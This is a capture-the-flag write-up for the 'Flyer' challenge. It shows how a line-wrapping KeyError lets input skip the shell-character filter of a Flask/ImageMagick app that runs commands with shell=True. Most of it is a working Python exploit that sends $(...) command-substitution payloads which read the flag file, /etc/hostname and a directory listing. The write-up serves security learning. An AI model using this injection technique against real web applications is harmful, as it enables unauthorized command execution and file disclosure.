Flyer
ImageMagick RCE via line-wrap bug → filter bypass
TL;DR
The Flask app builds a shell command with user input and runs it with shell=True
. Input is supposed to be filtered in cutstring()
, but a line-wrapping bug throws a non-HTTP exception that returns the original, unfiltered text. That lets us inject shell syntax inside label:"{text}"
and execute commands (e.g., $(cat file)
), with output rendered onto the generated PNG.
Root cause
- Command composed with user data:
cmd = command_text_add.format(..., text=text, ...) subprocess.run(cmd.encode('utf-8'), shell=True, ...)
- Input passes through
cutstring()
which callsfilterString()
per character.
- On wrap, the buggy loop does
charWidth[char]
insidefor i in sWord:
instead ofcharWidth[i]
.When the wrap happens on a character missing from
charWidth
(e.g.,.
), a KeyError is raised.
- The generic exception handler:
except Exception as error: if isinstance(error, HTTPException): abort(...) return (780, s) # ← returns original, unfiltered string
…so the dangerous characters (
$()|;&><
) never got filtered.
Exploit strategy
- Force first wrap on a dot (
.
) so the bug throws and the function returns our original string.
- Inject shell via command substitution inside the quoted label:
$(...)
.
- Render the command’s output in the image. Add
fold
/newlines so text fits.
The script below deterministically builds a first line that crosses the 800px limit on a dot, guaranteeing the exception. Then it appends our payload.
PoC script (used to get the flag)
- Simulates the server’s width table to force wrap-on-dot.
- Keeps request under the app’s
len(text) ≤ 438
constraint.
- Tries payloads; saves the first successful image to
flyer.png
.
- Uses
fold
for readable multiline output, andecho;
to start on a fresh line.
#!/usr/bin/env python3
# script.py
import requests
URL = "https://flyer.ctf.zone/generate"
COLOR = "0"
OUT = "flyer.png"
TIMEOUT = 12
# charWidth from the app
charWidth = {
',': 9.5, '-': 14.5, '0': 28.5, '1': 15.5, '2': 19.5, '3': 21.5, '4': 20.5, '5': 22.5, '6': 22.5, '7': 18.5, '8': 21.5, '9': 22.5,
'A': 24.5, 'B': 24.5, 'C': 28.5, 'D': 26.5, 'E': 23.5, 'F': 22.5, 'G': 28.5, 'H': 25.5, 'I': 9.5, 'J': 21.5, 'K': 23.5, 'L': 22.5,
'M': 33.5, 'N': 25.5, 'O': 30.5, 'P': 22.5, 'Q': 30.5, 'R': 23.5, 'S': 22.5, 'T': 23.5, 'U': 26.5, 'V': 25.5, 'W': 35.5, 'X': 29.5,
'Y': 26.5, 'Z': 26.5, '_': 17.5, 'a': 21.5, 'b': 23.5, 'c': 22.5, 'd': 23.5, 'e': 23.5, 'f': 18.5, 'g': 23.5, 'h': 24.5, 'i': 8.5,
'j': 8.5, 'k': 20.5, 'l': 8.5, 'm': 39.5, 'n': 24.5, 'o': 23.5, 'p': 23.5, 'q': 23.5, 'r': 20.5, 's': 21.5, 't': 19.5, 'u': 24.5,
'v': 23.5, 'w': 32.5, 'x': 23.5, 'y': 24.5, 'z': 22.5, ' ': 12.5
}
MAX_RAW_LEN = 438
DOT = "."
def w(c): return charWidth.get(c, 25)
def build_first_line_crossing_on_dot(target=800.0):
line, length = "", 0.0
pieces, i = ["ab", "a", "b"], 0
while True:
if length + w(DOT) >= target:
return line + DOT
piece = pieces[i % len(pieces)]; i += 1
cand = piece + " "; cw = sum(w(c) for c in cand)
if length + cw < target:
line += cand; length += cw; continue
cand = piece; cw = sum(w(c) for c in cand)
if len(line)>0 and length + cw < target:
line += cand; length += cw; continue
placed = False
for ch in ["a","b"," "]:
if length + w(ch) < target:
line += ch; length += w(ch); placed = True; break
if not placed:
continue
def craft_text(payload):
MARK_L, MARK_R = " [[", "]] "
first_line = build_first_line_crossing_on_dot()
spacer = " ab"
text = first_line + spacer + " " + MARK_L + payload + MARK_R
return text[-MAX_RAW_LEN:] if len(text) > MAX_RAW_LEN else text
def send(text):
return requests.post(URL, data={"color": COLOR, "text": text}, timeout=TIMEOUT)
def main():
def wrap(cmd, width=28):
return f"$( {cmd} | fold -s -w {width} )"
payloads = [
wrap("echo; cat secret_flag_77238723.txt"), # start on a new line, then print flag
wrap("uname -a"),
wrap("ls -la / | head -n 30"),
wrap("cat /etc/hostname"),
wrap("cat /etc/issue"),
# fallback guesses
wrap("cat /flag"), wrap("cat /flag.txt"),
wrap("cat /app/flag"), wrap("cat /app/flag.txt"),
]
for p in payloads:
txt = craft_text(p)
r = send(txt); ctype = r.headers.get("Content-Type","")
print(f"[i] {p} -> status={r.status_code}, ctype={ctype}, len={len(txt)}")
if r.status_code == 200 and "image/png" in ctype:
with open(OUT, "wb") as f: f.write(r.content)
print(f"[+] Saved image to {OUT}\n[+] Sent text:\n{txt}\n[+] Look for [[ ... ]] in the image.")
return
print("[-] No visible output, tweak payloads.")
if __name__ == "__main__":
main()
Usage
python3 script.py
# check flyer.png – output appears between [[ ... ]]
Notes / quirks
- The app rejects
len(text) > 438
before wrapping logic — the script keeps under that.
- Valid
color
is0..5
; script uses0
.
fold -s -w 28
wraps output so it fits the 840px canvas.Add
echo;
beforecat
to start the flag on a fresh line.
- If a path fails (empty output), try other common locations or list directories.